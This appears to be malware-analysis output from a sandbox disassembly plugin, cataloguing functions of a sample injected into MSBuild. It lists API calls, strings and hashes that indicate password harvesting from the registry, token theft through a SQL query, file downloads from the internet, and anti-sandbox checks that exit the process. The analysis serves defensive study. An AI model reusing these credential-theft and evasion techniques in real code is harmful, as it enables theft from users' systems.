Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

:, xrefs: 0041755C
\, xrefs: 00417560
C, xrefs: 0041754C

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,013562F8,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,0134D580), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,013555E0), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01356028,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01356028,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountTokens, xrefs: 0040BABA
AccountTokens, xrefs: 0040BB49
AccountId, xrefs: 0040BCC4

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01343360), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01343378), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01343390), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,013433A8), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,013433C0), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,013433D8), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01344760), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01344780), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,013433E8), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,013447A0), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,013447B8), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,013404B0), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,013404C8), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,013478F0), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: CreateDCA.GDI32(01340598,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01340578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,01340578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.KERNEL32(00000000,01355F38,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,01355F68,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608
